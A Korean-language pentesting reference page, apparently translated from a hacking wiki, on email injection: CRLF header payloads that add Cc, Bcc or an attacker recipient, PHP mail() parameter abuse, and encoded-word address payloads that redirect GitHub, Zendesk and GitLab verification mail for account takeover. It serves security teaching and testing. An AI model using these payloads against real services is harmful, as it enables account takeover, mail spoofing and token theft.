Email Injections

Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요. 오늘 바로 접근하세요:

발송된 이메일에 인젝션

발신자 인자 뒤에 Cc 및 Bcc 인젝션

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

메시지는 수신자 및 recipient1 계정으로 전송됩니다.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

메시지는 원래 수신자와 공격자 계정으로 전송됩니다.

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

가짜 제목은 원래 제목에 추가되며, 경우에 따라 이를 대체합니다. 이는 메일 서비스의 동작에 따라 다릅니다.

메시지 본문 변경

두 개의 줄 바꿈을 삽입한 다음, 메시지 본문을 변경하기 위해 메시지를 작성합니다.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 함수 악용

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5번째 매개변수 ($additional_parameters)

이 섹션은 공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법에 기반합니다.

이 매개변수는 PHP가 바이너리 sendmail을 호출하는 데 사용할 명령줄에 추가됩니다. 그러나 escapeshellcmd($additional_parameters) 함수로 정리됩니다.

이 경우 공격자는 sendmail에 대한 추가 매개변수를 주입할 수 있습니다.

/usr/sbin/sendmail 구현의 차이점

sendmail 인터페이스는 시스템에 설치된 MTA 이메일 소프트웨어(Sendmail, Postfix, Exim 등)에서 제공됩니다. 기본 기능(예: -t -i -f 매개변수)은 호환성 이유로 같은 상태를 유지하지만, 다른 기능과 매개변수는 설치된 MTA에 따라 크게 다릅니다.

다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

• Postfix MTA: http://www.postfix.org/mailq.1.html

• Exim MTA: https://linux.die.net/man/8/eximReferences

sendmail 바이너리의 출처에 따라 이를 악용하고 leak 파일 또는 임의의 명령을 실행하는 다양한 옵션이 발견되었습니다. https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html에서 확인하세요.

이메일 이름에 주입하기

이메일의 무시된 부분

기호: +, - 및 **{}**는 드물게 태그 지정에 사용될 수 있으며 대부분의 이메일 서버에서 무시됩니다.

• 예: john.doe+intigriti@example.com → john.doe@example.com

괄호 () 사이의 주석은 시작 또는 끝에 있을 경우에도 무시됩니다.

• 예: john.doe(intigriti)@example.com → john.doe@example.com

화이트리스트 우회

인용부호

IP

대괄호 안에 도메인 이름으로 IP를 사용할 수도 있습니다:

• john.doe@[127.0.0.1]

• john.doe@[IPv6:2001:db8::1]

이메일 인코딩

이 연구에서 설명한 바와 같이, 이메일 이름은 인코딩된 문자를 포함할 수도 있습니다:

• PHP 256 오버플로우: PHP chr 함수는 문자가 양수가 될 때까지 256을 계속 추가한 후 %256 연산을 수행합니다.

• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

다양한 인코딩:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

• 인코딩된 @는 =40, 인코딩된 >는 =3e, null은 =00 입니다.

• collab@psres.net으로 인증 이메일이 전송됩니다.

• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

• 이전과 같은 트릭이지만, 시작 부분에 일반 따옴표를 추가하고 인코딩된 따옴표 =22를 인코딩된 @ 앞에 추가한 후, 다음 이메일 앞에 따옴표를 시작하고 닫아 Zendesk 내부에서 사용된 구문을 수정합니다.

• collab@psres.net으로 인증 이메일이 전송됩니다.

• Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

• 주소를 구분하기 위해 언더스코어를 공백으로 사용한 점에 유의하세요.

• collab@psres.net으로 인증 이메일이 전송됩니다.

• Punycode: Punycode를 사용하여 Joomla에 <style 태그를 주입하고 이를 악용하여 CSS 유출을 통해 CSRF 토큰을 훔칠 수 있었습니다.

Tooling

• 이러한 조합을 퍼징하여 이메일 형식을 공격하려는 Burp Suite Turbo Intruder 스크립트가 있습니다. 이 스크립트는 이미 잠재적으로 작동하는 조합을 가지고 있습니다.

• Hackvertor를 사용하여 이메일 분할 공격을 생성하는 것도 가능합니다.

Other vulns

Third party SSO

XSS

github 또는 salesforce와 같은 일부 서비스는 XSS 페이로드가 포함된 이메일 주소를 생성할 수 있게 해줍니다. 이러한 제공자를 사용하여 다른 서비스에 로그인할 수 있고, 이 서비스가 이메일을 올바르게 정리하지 않으면 XSS를 유발할 수 있습니다.

Account-Takeover

SSO 서비스가 주어진 이메일 주소를 확인하지 않고 계정을 생성할 수 있게 해주고 (예: salesforce), 그 계정을 사용하여 salesforce를 신뢰하는 다른 서비스에 로그인할 수 있다면, 어떤 계정에도 접근할 수 있습니다. salesforce는 주어진 이메일이 확인되었는지 여부를 표시하지만, 애플리케이션은 이 정보를 고려해야 합니다.

Reply-To

_From: company.com_을 사용하여 이메일을 보낼 수 있으며, _Replay-To: attacker.com_을 설정하면, 내부 주소에서 이메일이 전송되었기 때문에 자동 회신이 전송될 경우 공격자가 그 응답을 받을 수 있습니다.

Hard Bounce Rate

AWS와 같은 특정 서비스는 Hard Bounce Rate로 알려진 임계값을 구현하며, 일반적으로 10%로 설정됩니다. 이는 이메일 전송 서비스에 특히 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.

하드 바운스는 수신자의 주소가 유효하지 않거나 존재하지 않아 발신자에게 반환된 이메일을 의미합니다. 이는 존재하지 않는 주소로 이메일이 전송되거나, 실제가 아닌 도메인으로 전송되거나, 수신자 서버가 이메일 수신을 거부하는 등의 다양한 이유로 발생할 수 있습니다.

AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드 바운스가 발생하면 (유효하지 않은 주소나 도메인과 같은 이유로) 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES (Simple Email Service)가 이메일 전송 기능을 차단하거나 중단할 수 있습니다.

중단 없는 이메일 서비스를 보장하고 발신자 평판을 유지하기 위해 낮은 하드 바운스 비율을 유지하는 것이 중요합니다. 메일링 리스트의 이메일 주소 품질을 모니터링하고 관리하는 것이 이를 달성하는 데 크게 도움이 될 수 있습니다.

자세한 정보는 AWS의 공식 문서에서 바운스 및 불만 처리에 대한 내용을 참조할 수 있습니다: AWS SES Bounce Handling.

References

• https://resources.infosecinstitute.com/email-injection/

• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view

• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today: